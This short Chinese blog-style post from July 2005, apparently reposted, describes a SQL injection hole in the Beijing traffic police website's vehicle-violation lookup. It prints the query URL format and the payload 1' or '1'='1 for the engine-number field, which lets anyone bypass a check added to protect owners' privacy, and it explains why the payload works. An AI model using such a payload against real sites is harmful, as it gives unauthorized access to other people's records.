自从交通违法罚款成了热门话题之后,北京市公安交通管理局的违法查询也成了热门网站。 http://www.bjjtgl.gov.cn/
有些人在路上看见一辆不守规矩的车,也许会把车号记下来,看看这个人是否违章大户,然后把违章记录贴得到处都是。
6月底,这种替人查询但不排忧解难、落水下石的事情越来越多,于是,交管局升级了违章查询的查询条件。
理由如下:
为防止个别人利用互联网机动车违法信息查询功能,肆意窃取他人车辆信息,并进行恶意传播,侵犯他人的合法权益,应市民群众要求,交管部门在机动车违法信息查询中增加了“输入发动机号”新的查询条件... ...
增加了查询难度后,很多正常用户开始抱怨,记不住发动机号,查起来太麻烦。
于是,一些比较精通计算机的用户在进入详细查询页面后,将该页面的地址保存到收藏夹,这样以后就不用每次输入查询条件,直接跳窗户就可以进去了。
这个地址的格式:http://www.bjjtgl.gov.cn/jtgl/clwz_preview_next1.jsp?cph=车牌照号码&caty=02&caty_C=小型汽车号牌&fdjh=发动机号码
然而,更高的在后面:
有好事者发现了一个漏洞,利用SQL查询的一个很老的Bug,可以让计算机忽略发动机号的查询条件。
这就是在发动机号处输入 1' or '1'= '1
其过程大概是这样的:
如果你的查询语句为select * from table where car_number='xxxxxx' and engine_numbe='yyyyyy';
这时候,你把发动机号码输入为:1' or '1'='1
于是,你的查询语句将会变成:
select * from table where car_number='xxxxxx' and engine_number=' 1' or '1'='1 ';
这样,后面的表达式永远为真,于是门户洞开了。
截止到目前,2005年7月12日18:50,这个办法仍然“一路畅通”,于是,把此文放在这里立此存照,看看交管局的JCss们什么时候能把这个漏洞补上。
(出处:http://www.sheup.com)